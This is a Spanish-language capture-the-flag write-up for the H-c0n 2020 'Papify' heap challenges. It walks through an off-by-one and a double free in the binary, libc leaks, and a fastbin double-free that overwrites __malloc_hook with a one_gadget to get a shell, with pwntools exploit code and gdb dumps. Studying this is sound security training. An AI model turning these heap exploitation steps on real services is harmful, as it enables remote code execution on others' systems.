H-c0n qualifier 2020 - Papify 1&2 (Spanish)
Content
Clasificatorio H-c0n 2020: Papify (1 y 2)#
Papify es un desafío de explotación en C/C++ en el que tenemos una imagen de Docker. El contenedor es básicamente lo que se ejecuta en la dirección proporcionada nc ctf.h-c0n.com 60003
.
La mayoría de los pasos son comunes entre ambas versiones del desafío (v1 y v2), cambiando el método utilizado para la conseguir el leak de libc.
Recopilando información#
Esta es la estructura del archivo:
./papify2:
docker-compose.yml Dockerfile share tmp xinetd
./papify2/share:
chall flag pwn
./papify2/tmp:
root@kali:~/h-c0n/papify2# file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e551576dc15f52434e0cec761e25e5cb1e63120, for GNU/Linux 3.2.0, stripped
root@kali:~/h-c0n/papify2# checksec chall
[*] '/root/h-c0n/papify2/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
root@kali:~/h-c0n/papify2# ./chall
/$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ /$$ /$$
| $$__ $$ /$$__ $$| $$__ $$|_ $$_/| $$_____/| $$ /$$/
| $$ \ $$| $$ \ $$| $$ \ $$ | $$ | $$ \ $$ /$$/
| $$$$$$$/| $$$$$$$$| $$$$$$$/ | $$ | $$$$$ \ $$$$/
| $$____/ | $$__ $$| $$____/ | $$ | $$__/ \ $$/
| $$ | $$ | $$| $$ | $$ | $$ | $$
| $$ | $$ | $$| $$ /$$$$$$| $$ | $$
|__/ |__/ |__/|__/ |______/|__/ |__/
Developed by Hackplayers. Version: FIXED (h-c0n quals 2020)
Select an option:
1. Add a paper
2. Fix a typo
3. Delete a paper
4. Print a paper
0. Exit
>>
- Solo hay 3 índices [0,1,2] que se pueden usar para almacenar documentos.
- Aun así, podemos agregar un documento en el mismo índice muchas veces (es importante recordarlo después de descompilarlo).
- Solo se puede corregir un carácter de un documento durante la ejecución.
- Puede eliminar un documento muchas veces sin generar ningún error (es importante recordarlo después de la descompilación).
- (* Solo Papify1 *) Se pueden leer documentos después de eliminarlos. Esto es lo que hace que Papify1 sea más fácil, al poder obtener el leak de libc casi sin esfuerzo.
Aparte, después de descompilar el archivo con ghidra
, nos damos cuenta de:
- Se utiliza
calloc
para asignar la memoria al contenido del documento y se rellena con unread
. - Mirando el método fix_typo, podemos ver que en realidad puede editar un byte fuera de la memoria asignada debido al
>=
fwrite("Which typo do you want to fix?: ", 1uLL, 32uLL, stdout); scanf("%u", &v2); if ( paper_size[v1] >= v2 ) { // do edit
- Lo único que memoria dinámica es el contenido de los documentos.
- Agregar un documento en el mismo índice muchas veces en realidad sigue asignando nueva memoria sin liberar el puntero anterior, sin tener en cuenta si estaba usado.
- Podemos liberar un puntero muchas veces eliminando el mismo documento una y otra vez porque el puntero en sí nunca se pone a null.
fwrite("Paper's index: ", 1uLL, 0xFuLL, stdout); scanf("%u", &v1); if ( v1 <= 2 && paper_content[v1] ) { free(paper_content[v1]); paper_size[v1] = 0; puts("Done."); }
Además, al configurar el contenedor y ejecutarlo podemos verificar su versión de libc obteniendo el archivo libc * .so
en/ usr / lib / x86_64-linux-gnu /
. En este caso lo guardamos como libc-cont(ainter)
:
#This does not properly mount the container but is enough to get libc.
docker build . -t papifytest -f Dockerfile
docker run -d -it -p 60003:8888 --name=papify2 papifytest
docker exec -it papify2 bash
# find /usr/ -name "libc-*.so"
docker cp papify2:/usr/lib/x86_64-linux-gnu/libc-2.29.so libc-cont.so
root@kali:~/h-c0n/papify2# ./libc-cont.so --version
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Tcache, calloc, double frees y una advertencia#
Algunas ideas básicas necesarias para entender el proceso de explotación:
- Tcache es un mecanismo introducido en libc 2.26 para mejorar el rendimiento mientras * recupera * fragmentos de memoria liberados. Puede almacenar hasta 7 trozos para cada tamaño.More info, traducción aproximada pero bastante completa, utilizar idioma chino para ver la tabla de contenido.
calloc
NO recupera chunks de Tcache.- Liberar el mismo puntero dos veces lleva a un comportamiento indefinido.
- En el exploit del final, la mayoría de los offset están hardcodeados porque los obtuvimos directamente de
gdb
.
Leaking libc (Papify1)#
Obtener el leak de la dirección de libc en Papify1 podría hacerse aprovechando el hecho de que podemos leer un documento después de eliminarlo (liberarlo). Cuando haces free() de un fragmento, el resultado varía dependiendo de si dicho fragmento entra en tcache o se va fuera. Si entra en tcache, no obtenemos ninguna información útil. Así que llenamos el tcache con 7 trozos para forzar a que el octavo se vaya fuera. Dado que solo tenemos 3 punteros al mismo tiempo (3 documentos diferentes), sería imposible con malloc
, pero calloc
no reutiliza fragmentos de tcache, por lo que podemos hacer:
for i in range(7):
add(2, 128, "A"*128)
free(2)
add(0, 128, "B"*128)
add(1, 128, "C"*128)
free(0)
free(1)
show(0)
leak = p.recv(6) + '\x00\x00'
#have to pad it with some zeroes
0x55b25c4b5640: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAAAA"
0x55b25c4b5650: 0x0000000000000000 0x0000000000000091
0x55b25c4b5660: 0x00007f45e72daca0 0x00007f45e72daca0 <- leak
0x55b25c4b5670: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBBBB"
----------------------------------------------------------------------------------------------
0x7f45e72dac90 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7f45e72daca0 <main_arena+96>: 0x000055b25c4b5770 0x0000000000000000 <- our leaked direction
0x7f45e72dacb0 <main_arena+112>:0x000055b25c4b5650 0x000055b25c4b5650
main_arena
+ 96, desde ahí podemos obtener la dirección relativa de libc usando la librería pwntools:
libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96
Leaking libc (Papify2)#
En esta versión no podemos leer un paper después de borrarlo, por lo que tendremos que utilizar otra aproximación para obtener el leak de libc. Para ello usaremos la opción de editar un documento, aunque estamos limitados a un solo carácter y una sola vez. Dado que podemos sobrescribir un carácter después del final de nuestra memoria reservada, en la práctica significa que podemos sobrescribir el campo “tamaño” del siguiente fragmento si nos ubicamos correctamente. No olvides llenar la tcache para que ‘calloc’ pueda reutilizar el fragmento liberado:
for i in range(7):
add(2, 128, "7"*128)
free(2)
add(0, 24, "A"*24)
add(1, 128, "B"*128)
add(2, 24, "C"*24)
free(1)
fix_typo(0, 24, '\x93')
add(1, 128, "d"*7) #add uses p.sendlineafter() which appends a "\n"
p.sendlineafter('>> ', '4')
p.sendlineafter('Paper\'s index: ', "1")
p.recvuntil('d' * 7 + '\n')
leak = p.recv(6) + '\x00\x00'
free(1)
:
0x55f7e5d47650: 0x0000000000000000 0x0000000000000021
0x55f7e5d47660: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141 0x0000000000000091
0x55f7e5d47680: 0x00007f695a510ca0 0x00007f695a510ca0 <- the dir we want, but
0x55f7e5d47690: 0x4242424242424242 0x4242424242424242 if we calloc again it
0x55f7e5d476a0: 0x4242424242424242 0x4242424242424242 will be set to 0
0x55f7e5d476b0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242 0x4242424242424242
0x55f7e5d47700: 0x0000000000000090 0x0000000000000020
0x55f7e5d47710: 0x4343434343434343 0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343 0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000 0x0000000000000000
0x0000000000000091
es el tamaño de nuestro fragmento liberado. Si ponemos el 91 en binario es 10010001
. El segundo bit menos significativo le dice a nuestro programa si el fragmento está mapeado y si calloc
no debe borrar su contenido antes de usarlo. Es bastante conveniente que esté ubicado justo después del final de nuestro fragmento anterior (es importante obtener los tamaños correctos para que sean consecutivos en memoria). Solo necesitamos la edición para establecer ese bit con nuestra función de edición, por lo que enviamos un 0x93 (100100 ** 1 ** 1) en la posición 24.
0x55f7e5d47660: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141 0x0000000000000093 <- looks like it worked
0x55f7e5d47680: 0x00007f695a510ca0 0x00007f695a510ca0
0x55f7e5d47690: 0x4242424242424242 0x4242424242424242
0x55f7e5d476a0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476b0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d47650: 0x0000000000000000 0x0000000000000021
0x55f7e5d47660: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141 0x0000000000000091
0x55f7e5d47680: 0x0a64646464646464 0x00007f05169a4ca0 <- look at that, the calloc
0x55f7e5d47690: 0x4242424242424242 0x4242424242424242 didn't smash our chunk
0x55f7e5d476a0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476b0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242 0x4242424242424242
0x55f7e5d47700: 0x0000000000000090 0x0000000000000020
0x55f7e5d47710: 0x4343434343434343 0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343 0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000 0x0000000000000000
libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96
add (1, 128," d "* 7 +" \ n ")
sin tener en cuenta que nuestro método add realmente agregaría otra nueva línea al final , modificando la fuga que recibimos y provocando un desplazamiento extraño obtenido con gdb (puedes echarle un ojo al código del CTF al final del writeup).Consiguiendo la ansiada shell#
Usaremos One_Gadget en la función __malloc_hook
para obtener una shell dado que parece la forma más directa de conseguir RCE por las protecciones que tiene habilitadas el binario. Como alternativa podríamos intentar hacer que __free_hook
apuntara a system
.
root@kali:/media/sf_hckon/papify2/share# one_gadget libc-cont.so
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL
0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Nuevamente, llenamos la tcache antes de comenzar. Dado que, a partir de la versión 2.29, calloc
no reutiliza la tcache, podemos seguir adelante y hacer un “fastbin double free attach” [descrito aquí en detalle] (https://0x00sec.org/t/heap-exploitation-fastbin-attack/3627). En el ataque descrito no tiene RELRO completo como en este; pero, tal como dice, aun así podemos utilizar __malloc_hook
.
Solo necesitamos encontrar una dirección apropiada por encima de __malloc_hook
donde podamos meter nuestro fragmento. Vamos a ver qué podemos encontrar por ahí con gdb:
0x7f0748abcbe0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7f0748abcbf0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc00 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc10 <_IO_wide_data_0+304>: 0x00007f0748abe020 0x0000000000000000
0x7f0748abcc20 <__memalign_hook>: 0x00007f0748989e20 0x00007f074898a4e0
0x7f0748abcc30 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc40 <main_arena>: 0x0000000000000000 0x0000000000000001
0x000000000000007f
sería perfecta. A menos que podamos usar memoria no alineada. Vamos a mover esto un poco:
0x7f0748abcbed <_IO_wide_data_0+269>: 0x0000000000000000 0x0000000000000000
0x7f0748abcbfd <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc0d <_IO_wide_data_0+301>: 0x0748abe020000000 0x000000000000007f
0x7f0748abcc1d: 0x0748989e20000000 0x074898a4e000007f
0x7f0748abcc2d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f0748abcc3d: 0x0000000000000000 0x0000000001000000
0x7f0748abcc4d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc30 (_malloc_hook) - 0x7f0748abcc0d = 0x23
, por lo que solo tenemos que restarlo de la posición _malloc_hook
.
fakeChunk = libcDir + libc.sym['__malloc_hook'] - 0x23
oneGadget = libcDir + 0x106ef8
for i in range(7):
add(2, 96, "R"*96)
free(2)
add(0, 96, "S"*96)
add(1, 96, "T"*96)
free(0)
free(1)
free(0)
add(1, 96, p64(fakechunk) + "U"*88)
add(1, 96, "X"*96)
add(1, 96, "Y"*96)
add(0,96, 'i' * 19 + p64(oneGadget))
p.interactive()
add(2,1,'Open sesame.') # we can do this step manually for extra satisfaction.
Después de agregar cualquier papel, el __malloc_hook
se activará y tendremos shell. Un cat flag
y hemos acabado.